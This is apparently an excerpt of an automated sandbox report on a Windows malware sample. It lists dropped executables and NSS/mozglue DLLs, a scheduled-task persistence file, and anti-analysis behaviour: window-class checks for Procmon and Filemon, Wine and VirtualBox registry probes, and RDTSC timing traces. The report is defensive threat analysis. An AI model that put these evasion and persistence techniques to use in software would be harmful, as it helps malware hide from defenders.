Source: JDGIECGIEB.exe.0.dr	Static PE information: section name:
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: .idata
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: fkuoncfi
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: cgsmbisr
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: zhhhapid
Source: random[1].exe.0.dr	Static PE information: section name: ciolgrdz
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name: fkuoncfi
Source: skotes.exe.16.dr	Static PE information: section name: cgsmbisr
Source: skotes.exe.16.dr	Static PE information: section name: .taggant
Source: 931e3b56d4.exe.20.dr	Static PE information: section name:
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: .idata
Source: 931e3b56d4.exe.20.dr	Static PE information: section name:
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: zhhhapid
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: ciolgrdz
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_0016D91C push ecx; ret	16_2_0016D92F
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00161359 push es; ret	16_2_0016135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005CD91C push ecx; ret	17_2_005CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005CD91C push ecx; ret	18_2_005CD92F

Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: entropy: 7.128626721102462
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977234668888621
Source: random[1].exe.0.dr	Static PE information: section name: zhhhapid entropy: 7.923467527322307
Source: skotes.exe.16.dr	Static PE information: section name: entropy: 7.128626721102462
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: entropy: 7.977234668888621
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: zhhhapid entropy: 7.923467527322307

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\JDGIECGIEB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\JDGIECGIEB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\JDGIECGIEB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012962001\931e3b56d4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\JDGIECGIEB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Documents\JDGIECGIEB.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FBFC second address: 85FC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FC00 second address: 85FC11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE9ED second address: 9DE9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE9F2 second address: 9DE9F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDE03 second address: 9DDE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDE07 second address: 9DDE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDF94 second address: 9DDFAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F4465131BD0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFC8A second address: 9DFD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ebx 0x0000000b jmp 00007F44646ECA56h 0x00000010 pop ebx 0x00000011 pop eax 0x00000012 add ecx, dword ptr [ebp+122D2B48h] 0x00000018 lea ebx, dword ptr [ebp+12453A8Ah] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F44646ECA48h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 sub ecx, dword ptr [ebp+122D1F45h] 0x0000003e jmp 00007F44646ECA57h 0x00000043 push eax 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F44646ECA4Ch 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFDEE second address: 9DFDF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFDF2 second address: 9DFE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44646ECA4Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push edi 0x0000000f jmp 00007F44646ECA55h 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a je 00007F44646ECA5Eh 0x00000020 jmp 00007F44646ECA58h 0x00000025 mov eax, dword ptr [eax] 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a ja 00007F44646ECA46h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFEF2 second address: 9DFEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFEFD second address: 9DFF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jns 00007F44646ECA50h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jne 00007F44646ECA50h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F44646ECA58h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFF47 second address: 9DFF4C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFA1 second address: 9DFFF6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44646ECA4Ch 0x00000008 ja 00007F44646ECA46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov edi, dword ptr [ebp+122D2A8Ch] 0x00000019 push 00000000h 0x0000001b xor edx, dword ptr [ebp+122D2A50h] 0x00000021 stc 0x00000022 call 00007F44646ECA49h 0x00000027 pushad 0x00000028 push edx 0x00000029 jmp 00007F44646ECA4Fh 0x0000002e pop edx 0x0000002f jmp 00007F44646ECA51h 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFF6 second address: 9E00AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F4465131BD5h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F4465131BD3h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jmp 00007F4465131BD3h 0x00000026 pop eax 0x00000027 mov edx, dword ptr [ebp+122D1D56h] 0x0000002d push 00000003h 0x0000002f movzx ecx, bx 0x00000032 or dword ptr [ebp+122D581Fh], ecx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F4465131BC8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D2503h], edi 0x0000005a push 00000003h 0x0000005c sbb di, E687h 0x00000061 call 00007F4465131BC9h 0x00000066 jmp 00007F4465131BCEh 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F4465131BCBh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E00AE second address: 9E00D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44646ECA51h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jo 00007F44646ECA4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E00D4 second address: 9E00F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007F4465131BC6h 0x0000000b jmp 00007F4465131BCEh 0x00000010 popad 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E00F9 second address: 9E012E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44646ECA5Fh 0x00000008 jmp 00007F44646ECA59h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jng 00007F44646ECA54h 0x00000019 push eax 0x0000001a push edx 0x0000001b jno 00007F44646ECA46h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E012E second address: 9E0177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 lea ebx, dword ptr [ebp+12453A9Eh] 0x0000000d jnc 00007F4465131BDDh 0x00000013 call 00007F4465131BD0h 0x00000018 or dword ptr [ebp+122D205Bh], esi 0x0000001e pop edx 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F4465131BD0h 0x00000025 push eax 0x00000026 pushad 0x00000027 push esi 0x00000028 pushad 0x00000029 popad 0x0000002a pop esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jnp 00007F4465131BC6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0147A second address: A0147E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF5DD second address: 9FF5EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007F4465131BC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFA47 second address: 9FFA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFA4B second address: 9FFA4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFEC7 second address: 9FFEED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F44646ECA4Bh 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0007D second address: A00083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5F0E second address: 9C5F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5F14 second address: 9C5F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0048F second address: A0049F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44646ECA46h 0x00000008 js 00007F44646ECA46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0049F second address: A004A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00C6D second address: A00C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA50h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00E1A second address: A00E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00E20 second address: A00E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00E24 second address: A00E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00E2C second address: A00E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F44646ECA46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00E38 second address: A00E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FEA second address: A00FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FEE second address: A0101C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD5h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4465131BCFh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0101C second address: A01020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01020 second address: A01024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01024 second address: A0102A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0102A second address: A01030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0480B second address: A04811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04811 second address: A04815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E6E second address: A06E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0702F second address: A07033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07155 second address: A0715A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
